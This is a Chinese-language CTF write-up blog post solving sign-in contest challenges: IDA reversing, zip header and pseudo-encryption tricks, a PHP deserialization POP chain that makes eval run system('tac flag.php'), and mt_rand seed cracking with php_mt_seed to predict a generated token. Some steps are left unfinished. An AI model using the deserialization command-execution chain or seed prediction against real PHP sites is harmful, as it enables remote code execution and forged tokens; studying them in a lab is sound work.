• 签到赛--我打的


    re-签到逆向

    将文件拖到ida里,点一下flag_is_here,点一下f5,然后对着数字点一下r,就发现flag了

    misc

    第一题不写

    第二题:

    下载文件,用010Editor打开查看十六进制 发现最后两行格式和zip格式完全相同,

    尝试给它加上zip头,504B0304,并将文件后缀名改为zip,打开

     猜测是伪加密

    打开txt文件,发现flag

    web

    1、super_easy_web

    不解释

    2、Very_Ez_Unserialize

    <?php
    show_source("index.php");
    class A{
        public $a='0';
        public function __construct()
        {
            $this->a=new B;
        }
        public function __destruct()
        {
            echo $this->a.'';
        }
        public function sp(){
            return 'eagle 1, fox2';
        }
    }
    
    class B{
        public $b = '';
        public function __construct()
        {
            $this->b=new C;
        }
        public function __toString()
        {
    
            return $this->b->sp();
        }
    }
    class C{
        public $c='system ("tac flag.php");';
        public function sp()
        {
           return eval($this->c);
        }
    
        public function getc($t){
            $this->c=$t;
        }
    }
    $x=new A();
    $s=serialize($x);
    echo ($s);

    第11行将其字符化,触发calss B的toString(),toString()又触发sp(),sp()又可执行$this->c得命令,将其变成system ("tac flag.php");即可。

    3、1p1p

    https://www.cnblogs.com/ojkojk/p/13612864.html

    4、依旧开心哈哈哈

     

     尝试打开flag/flag.php,发现被过滤,证明flag应该在里面

    然后尝试

     找到flag

    5、pseudo_random

     查看源码,发现check.php,进去看看,发现源码

     果断百度,发现是原题,跟着做

    查看得,本题的mt_rand函数是伪随机,只要使用相同的种子,生成的随机数是固定的

    使用cpp脚本,计算前十位数值的偏移量

    #include <iostream>
    int main() {
        std::string str1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        std::string str2 = "ifhiLonL6n";
        std::cout << std::endl;
        for (char i : str2) {
            std::cout << str1.find(i) << ' ' << str1.find(i) << " 0 61  ";
        }
    }

     然后打开linux系统,使用php_mt_seed的工具,计算出seed=673902087

    最后使用php脚本

    <?php
    
    mt_srand(673902087);

    $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $str='';
    $len1=20;
    for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
    }
    echo $str;

    ?>

     得到结果ksj7b6etb2lHhVRX4tzd

     将其拼接,在前面加%0A

     出现第二关,不懂

  • 相关阅读:
    修改表中的列
    查看表中都有什么约束
    数据库关系图
    删除约束
    T_SQL 语句想已有数据表添加约束
    判断回文联
    python自定义函数可以向前引用不用声明
    所有参数的和乘以基数
    子字符串在目标字符串中出现的次数
    除二取余倒序排列
  • 原文地址:https://www.cnblogs.com/ojkojk/p/13613111.html
Copyright © 2020-2023  润新知